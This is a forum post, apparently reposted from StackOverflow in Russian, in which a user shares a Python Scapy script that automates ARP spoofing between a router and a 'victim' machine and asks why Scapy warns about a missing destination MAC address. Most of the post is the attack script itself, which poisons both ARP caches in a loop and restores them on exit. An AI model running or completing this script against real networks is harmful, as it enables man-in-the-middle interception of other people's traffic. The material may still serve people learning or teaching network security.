Python Scapy, пакет ARP дает мне ПРЕДУПРЕЖДЕНИЕ о том, что я должен указать MAC-адрес назначения, но я это сделалPython

Программы на Python
Ответить Пред. темаСлед. тема
Anonymous
 Python Scapy, пакет ARP дает мне ПРЕДУПРЕЖДЕНИЕ о том, что я должен указать MAC-адрес назначения, но я это сделал

Сообщение Anonymous »

У меня есть этот код, я хочу автоматизировать процесс подмены ARP.
Вы запускаете программу следующим образом: sudo python3 arpSpoof.py 192.168.1.1 192.168.1.101
Первый IP-адрес принадлежит маршрутизатору, а второй — компьютеру-жертве.
Это код:

Код: Выделить всё

import sys
from scapy.all import *

def arp_spoof (dest_ip, dest_mac, source_ip):
packet = ARP(op="is-at", psrc= source_ip, hwdst=dest_mac, pdst=dest_ip )
send(packet, verbose=False)

def arp_restore (dest_ip, dest_mac, source_ip, source_mac):
packet = ARP(op="is-at", hwsrc=source_mac, psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
send(packet, verbose=False)

def main():
victim_ip =  sys.argv[1]
print(victim_ip)
router_ip =  sys.argv[2]
print(router_ip)
victim_mac =  getmacbyip(victim_ip)
router_mac =  getmacbyip(router_ip)
try:
print("Sending spoofed ARP packets")
while True:
arp_spoof(victim_ip, victim_mac, router_ip)
arp_spoof(router_ip, router_mac, victim_ip)
except KeyboardInterrupt:
print("Restoring ARP Tables")
arp_restore(router_ip, router_mac, victim_ip, victim_mac)
arp_restore(victim_ip, victim_mac, router_ip, router_mac)
quit()

main()

Когда я запускаю программу, она запускается нормально, но затем, когда она выполняет функцию arp_spoof, я получаю сообщение об ошибке: ВНИМАНИЕ: вы должны указать MAC-адрес назначения Ethernet при отправке is-at ARP.
Но я указываю назначение MAC-адреса (hwdest)
Как мне исправить код?
Спасибо

Подробнее здесь: https://stackoverflow.com/questions/787 ... estination
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Python»